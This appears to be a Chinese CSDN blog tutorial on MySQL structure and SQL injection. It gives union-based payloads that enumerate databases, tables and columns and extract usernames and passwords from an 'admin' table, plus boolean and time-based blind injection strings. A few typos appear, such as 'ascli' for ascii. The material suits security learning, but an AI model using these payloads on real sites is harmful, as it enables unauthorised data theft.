SQL(mysql与sql注入)详解

最新推荐文章于 2023-06-14 22:39:36 发布

李昕泽不是程序员

最新推荐文章于 2023-06-14 22:39:36 发布

阅读量725

点赞数 5

分类专栏：安全渗透

本文链接：https://blog.csdn.net/wanqianshao/article/details/121908500

版权

SQL注入数据库结构盲注信息泄露防范措施

关键词由CSDN通过智能技术生成

安全渗透专栏收录该内容

9 篇文章 3 订阅

订阅专栏

数据库结构

#### 库：一堆表组成的数据集合

#### 表：类似Excal，有行和列组成的二维表

#### 字段：表中的列称为字段

#### 记录：表中的行称为记录

#### 单元格：行和列相交的地方成为单元格

在数据库里有一个系统库：information_schema

在它里面有一个存着所有库名的表：schemata

schemata_name 库名

在他里面有个存着所有表名的表：tables

表名

table_schema 表属于库

table_name 表名

在他里面还有一个存着所有字段名的表：columns

table_schema表属于库

table_name表名

column_name字段名

数据库简介-简单的查询语句

select * from表：从表中查询所有内容

where :有条件的从表中选取数据

and或or ：条件有点多时候从表中选取数据

order by :根据指定的结果集/指定的列进行排序

limit 0,1 :从第一行起显示一条记录

union select ：联合查询将多个表拼在一起

手工注入-联合查询

查询相关内容

select 字段 from 表

字段 username，password

表 admin

猜询数据库版本

and 1=2 union select 1，version()

猜询数据库

and 1=2 union select 1,schema_name from information_schema.schemata limit 0,1

猜询表名

and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 1,1

and 1=2 union select 1,table_name from information_schema.tables where table_schema=‘库名’ limit 1,1

查询字段名

and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=“admin” limit 0,1

查询字段内容

and 1=2 union select 1,username from admin

原理-什么是盲注

有时目标存在注入，但在页面上没有任何回显，此时，我们需要用一些方法进行判断或者尝试得到数据，这个过程称之为盲注。

盲注的种类

1.布尔盲注：布尔很明显Ture跟Fales，也就是说它只会根据你的注入信息返回Ture跟Fales，也就没有了之前的报错信息

2.时间盲注：界面返回值只有一种，True无论输入任何值，返回情况都会按照正常的来处理。加入特定的时间函数，通过查看web页面返回的时间差来判断注入的语句是否正确。

盲注函数解析

length()函数 返回字符串的长度

?id=1 and length(database())>1

substr()截取字符串，从第一位截取一个

?id=1 and substr(database(),1,1)='k'

limit 0,1 显示第一条    substr(内容，1，1)显示第一个字符

ord()/ascli()返回字符的ascli码

?id=1 and ord(substr(database(),1,1))=107

时间型

sleep()将程序挂起一段时间n为n秒

if(expr1,expr2,expr3)判断语句 如果第一个语句正确就执行，第二个语句如果错误执行第三个语句

?id=1' and if(length(database())=8,0,sleep(5)) --+

盲注演示

猜解当前数据库名称长度

and (length(database()))>9#

猜解当前数据库名称：

and (ascli(substr(database(),1,1)))=107返回正常，说明数据库名称第一位是k

and substr(database(),1,1)='k'返回正常，说明数据库名称第二位是k

	猜表名：

and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 返回正常，说明当前数据库第一个表长度是6

and substr((select table_name from information_schema.tables where table_schema='xxx' limit 0,1),1,1)='I' 返回正常，说明数据库表名的第一个的第一位是I

猜字段名

and substr((select column_name from information_schema.columns where table_name='xxx'limit 0,1),1,1)='I'返回正常，说明xxx表中的列名称第一位是I

猜内容

and (ascli(substr((select YYY from xxx limit 0,1),1,1)))=122返回正常，说明zkaq列第一位是z